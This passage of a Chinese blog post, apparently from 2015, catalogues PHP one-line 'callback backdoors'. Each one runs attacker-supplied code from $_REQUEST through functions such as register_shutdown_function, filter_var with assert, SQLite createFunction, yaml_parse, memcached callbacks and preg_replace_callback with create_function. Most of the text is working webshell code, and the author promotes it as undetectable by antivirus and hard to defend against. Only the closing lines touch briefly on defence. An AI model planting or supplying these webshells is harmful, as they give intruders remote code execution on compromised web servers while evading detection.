preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门

$e = $_REQUEST['e'];

register_shutdown_function($e, $_REQUEST['pass']);

这个是php全版本支持的,且不报不杀稳定执行:

再来一个:

$e = $_REQUEST['e'];

declare(ticks=1);

register_tick_function ($e, $_REQUEST['pass']);

再来两个:

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

0x07 数据库操作与第三方库中的回调后门

回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。

我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:

$e = $_REQUEST['e'];

$db = new PDO('sqlite:sqlite.db3');

$db->sqliteCreateFunction('myfunc', $e, 1);

$sth = $db->prepare("SELECT myfunc(:exec)");

$sth->execute(array(':exec' => $_REQUEST['pass']));

执行之:

上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:

$e = $_REQUEST['e'];

$db = new SQLite3('sqlite.db3');

$db->createFunction('myfunc', $e);

$stmt = $db->prepare("SELECT myfunc(?)");

$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);

$stmt->execute;

前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。

这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。 比如php_yaml:

$str = urlencode($_REQUEST['pass']);

$yaml =

greeting: !{$str} "|.+|e"

EOD;

$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

还有php_memcached:

$mem = new Memcache;

$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));

$mem->connect($_REQUEST['pass'], 11211, 0);

自行研究吧。

0x08 其他参数型回调后门

上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

所以我们需要去“构造”一个满足条件的回调函数。

怎么构造?使用create_function:

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。 类似的,这个也同样:

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

再来一个利用CallbackFilterIterator方法的回调后门:

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));

foreach ($iterator as $item) {

echo $item;

}

这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。

0x09 后记

这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。

实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。

简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。


Mrxn 发布于 2015-7-23 15:40

搜索

日历

标签